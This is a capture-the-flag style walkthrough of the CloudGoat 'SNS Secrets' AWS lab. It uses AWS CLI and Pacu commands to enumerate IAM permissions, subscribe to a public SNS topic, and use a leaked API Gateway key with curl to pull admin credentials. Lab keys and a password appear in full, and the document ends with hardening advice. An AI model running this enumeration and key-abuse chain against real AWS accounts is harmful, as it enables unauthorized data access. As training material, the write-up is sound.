CloudGoat: SNS Secrets Walkthrough
Understanding AWS SNS (Simple Notification Service)
Amazon SNS is a fully managed messaging service that helps you send messages between applications or from applications to people. It supports two main types of messaging:
1. Application-to-Application (A2A) Notifications
This is useful when one app needs to talk to another. For example, if your website needs to send a message to a backend service when someone signs up, SNS can handle that. It helps connect and separate different parts of your app, so they work smoothly without being tightly linked.
Think of it like one app publishing a message and other apps subscribing to get it.
2. Application-to-Person (A2P) Notifications
This is when your app needs to send messages directly to people β like:
- SMS messages
- Emails
- Push notifications
π¬ Great for sending alerts, order updates, or OTPs to your users.
Common SNS Misconfigurations
1. Public Topics:
- If SNS topics are publicly accessible, attackers can publish spam or subscribe to sensitive messages.
2. Overly Broad IAM Permissions:
- Permissions like
sns:*can let attackers delete topics or redirect messages.
Understanding Amazon API Gateway
Amazon API Gateway is a fully managed service that helps developers create and manage APIs (Application Programming Interfaces) easily. Think of an API as the front door of your application β it allows apps, websites, or even other systems to interact with your backend services securely.
With API Gateway, you can build different types of APIs such as:
- REST APIs β great for typical web and mobile apps.
- WebSocket APIs β great for real-time apps like chat or live dashboards.
1. Common API Gateway Misconfigurations
If the API is configured to require only the API key (with no IAM, Cognito, or Lambda Authorizer), anyone who has the key can:
- Invoke the API endpoints
- Extract data
- Trigger backend operations (like Lambda, DynamoDB writes, etc.)
2. Bypass Rate Limits of Free/Public APIs
If the key is linked to a generous usage plan:
- Attackers can use it to make high-volume calls
- Can cause increased cost
- Can lead to denial of service (DoS) for legitimate users
Enumeration
Initial Access
sns_user_access_key_id = AKIA2K3L7SQOQUGO6EUQ
sns_user_secret_access_key = DawMJEp8xGLO6/yAMDptj+ZniuSRlhosQIEJM2X1Add the following key as a profile in the AWS CLI
ββ$ aws configure --profile sns_user
AWS Access Key ID [None]: AKIA2K3L7SQOQUGO6EUQ
AWS Secret Access Key [None]: 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
Default region name [None]: us-east-1
Default output format [None]: jsonVerify the access
ββ$ aws sts get-caller-identity --profile sns_user
{
"UserId": "AIDA2K3L7SQO3SQQK3DBF",
"Account": "710506681373",
"Arn": "arn:aws:iam::710506681373:user/cg-sns-user-cgidbhojlinths"
}
User Policy Enumeration
ββββΌ $ aws iam list-user-policies --user-name cg-sns-user-cgids2uo6tcael --profile sns_user
{
"PolicyNames": [
"cg-sns-user-policy-cgids2uo6tcael"
]
}- Found a policy attached to the user:
cg-sns-user-policy-cgids2uo6tcael
Enumerating User Permission
ββββΌ $ aws iam get-user-policy --user-name cg-sns-user-cgids2uo6tcael --policy-name cg-sns-user-policy-cgids2uo6tcael --profile sns_user
{
"UserName": "cg-sns-user-cgids2uo6tcael",
"PolicyName": "cg-sns-user-policy-cgids2uo6tcael",
"PolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Action": [
"sns:Subscribe",
"sns:Receive",
"sns:ListSubscriptionsByTopic",
"sns:ListTopics",
"sns:GetTopicAttributes",
"iam:ListGroupsForUser",
"iam:ListUserPolicies",
"iam:GetUserPolicy",
"iam:ListAttachedUserPolicies",
"apigateway:GET"
],
"Effect": "Allow",
"Resource": "*"
},
{
"Action": "apigateway:GET",
"Effect": "Deny",
"Resource": [
"arn:aws:apigateway:us-east-1::/apikeys",
"arn:aws:apigateway:us-east-1::/apikeys/*",
"arn:aws:apigateway:us-east-1::/restapis/*/resources/*/methods/GET",
"arn:aws:apigateway:us-east-1::/restapis/*/methods/GET",
"arn:aws:apigateway:us-east-1::/restapis/*/resources/*/integration",
"arn:aws:apigateway:us-east-1::/restapis/*/integration",
"arn:aws:apigateway:us-east-1::/restapis/*/resources/*/methods/*/integration"
]
}
]
}
}- It has permission to
sns:Subscribeandsns:Receive, so we can use that to find an SNS topic and subscribe to it. Additionally, there is permission forapigateway:GET, which allows us to fetch the API Gateway endpoint.
Enumerating SNS topic using pacu
If you haven’t installed Pacu yet, you can do so by following the official installation guide.
Pacu (SNS Secrets:imported-sns_user) > use sns__enum --region us-east-1
Pacu (SNS Secrets:imported-sns_user) > data sns
{
"sns": {
"us-east-1": {
"arn:aws:sns:us-east-1:710506681373:public-topic-cgidbhojlinths": {
"DisplayName": "",
"Owner": "710506681373",
"Subscribers": [],
"SubscriptionsConfirmed": "0",
"SubscriptionsPending": "0"
}
}
}
}- Found access to an SNS topic:
public-topic-cgidbhojlinths
Used Pacu to subscribe to the SNS topic
Pacu (SNS Secrets:imported-sns_user) > use sns__subscribe --topics arn:aws:sns:us-east-1:710506681373:public-topic-cgidbhojlinths --email condescendingshamir1@deliveryotter.com
Running module sns__subscribe...
[sns__subscribe] Subscribed successfully, check email for subscription confirmation. Confirmation ARN: arn:aws:sns:us-east-1:710506681373:public-topic-cgidbhojlinths:4e4ae1c3-7765-470d-b58a-b0b8e2e5749aReceived Confirmation Link from the SNS topic

Confirmed the subscription and began receiving messages.

Message received from SNS Topic

The message included an API Gateway key, which can be used to access resources that are normally restricted. A quick Google search and ChatGPT helped me find the correct syntax to use the key:
curl -X GET -H "x-api-key: <key>" https://<restapiid>.execute-api.<region>.amazonaws.com/<stage>/<resource>By passing the API Gateway key in the header, it’s possible to access other protected resources.
Enumerating available API Gateway endpoints to identify accessible resource
ββ$ aws apigateway get-rest-apis --profile sns_user
{
"items": [
{
"id": "8vdw79n971",
"name": "cg-api-cgidbhojlinths",
"description": "API for demonstrating leaked API key scenario",
"createdDate": "2025-06-22T00:56:37+05:30",
"apiKeySource": "HEADER",
"endpointConfiguration": {
"types": [
"EDGE"
],
"ipAddressType": "ipv4"
},
"tags": {
"Scenario": "iam_privesc_by_key_rotation",
"Stack": "CloudGoat"
},
"disableExecuteApiEndpoint": false,
"rootResourceId": "uda3jwgdf4"
}
]
}- Discovered a REST API named
cg-api-cgidbhojlinthswith ID8vdw79n971, which is needed to form the correct API request URL.
List All Available Resource Paths
ββ$ aws apigateway get-resources --rest-api-id 8vdw79n971 --profile sns_user
{
"items": [
{
"id": "2oflpb",
"parentId": "uda3jwgdf4",
"pathPart": "user-data",
"path": "/user-data",
"resourceMethods": {
"GET": {}
}
},
{
"id": "uda3jwgdf4",
"path": "/"
}
]
}- Got the path info : /user-data
ββ$ aws apigateway get-usage-plans --profile sns_user
{
"items": [
{
"id": "26qzsc",
"name": "cg-usage-plan-cgidbhojlinths",
"apiStages": [
{
"apiId": "8vdw79n971",
"stage": "prod-cgidbhojlinths"
}
],
"tags": {
"Scenario": "iam_privesc_by_key_rotation",
"Stack": "CloudGoat"
}
}
]
}- Found stage information:
prod-cgidbhojlinths, which is required for ourcurlcommand completion.
Rest API ID: 8vdw79n971
Path: /user-data
Stage Name:prod-cgidbhojlinths
Now we have all the necessary details to complete the request β letβs run the command and see the response!
Combining the enumerated info
β$ curl -X GET -H "x-api-key:45a3da610dc64703b10e273a4db135bf" https://8vdw79n971.execute-api.us-east-1.amazonaws.com/prod-cgidbhojlinths/user-data
{"final_flag":"FLAG{redacted}","message":"Access granted","user_data":{"email":"SuperAdmin@notarealemail.com","password":"p@ssw0rd123","user_id":"1337","username":"SuperAdmin"}} Kaboom! π Successfully retrieved sensitive information from the API Gateway resource.
- Extracted Data:
- Flag:
FLAG{redacted} - Email:
SuperAdmin@notarealemail.com - Username:
SuperAdmin - Password:
p@ssw0rd123
Security Best Practices
To protect AWS resources like SNS, API Gateway, and IAM, follow these key best practices:
1. Secure Amazon SNS
- Avoid public topics. Ensure SNS topics are not publicly accessible; use topic policies to control who can publish or subscribe.
- Restrict with IAM. Grant
sns:Subscribe,sns:Publish, andsns:Receiveonly to specific users or roles. - Audit subscriptions regularly to detect unauthorized endpoints.
- Enable logging with AWS CloudTrail to monitor SNS activity.
2. Lock Down API Gateway
- Use strong authorization. Enforce IAM, Cognito User Pools, or Lambda Authorizers instead of relying only on API keys.
- Control API keys. Attach them to usage plans, enable throttling, rotate periodically, and revoke when unused.
- Avoid hardcoding keys in code, front-end applications, or emails.
- Monitor and protect endpoints using CloudWatch Logs and AWS WAF.
3. Enforce Least Privilege for IAM
- Limit permissions. Avoid wildcards like
sns:*orapigateway:*; always grant the minimum required actions. - Use custom policies instead of broad managed ones.
- Explicitly deny sensitive actions such as
apigateway:GETon critical paths if necessary. - Enable multi-factor authentication (MFA) for all IAM users.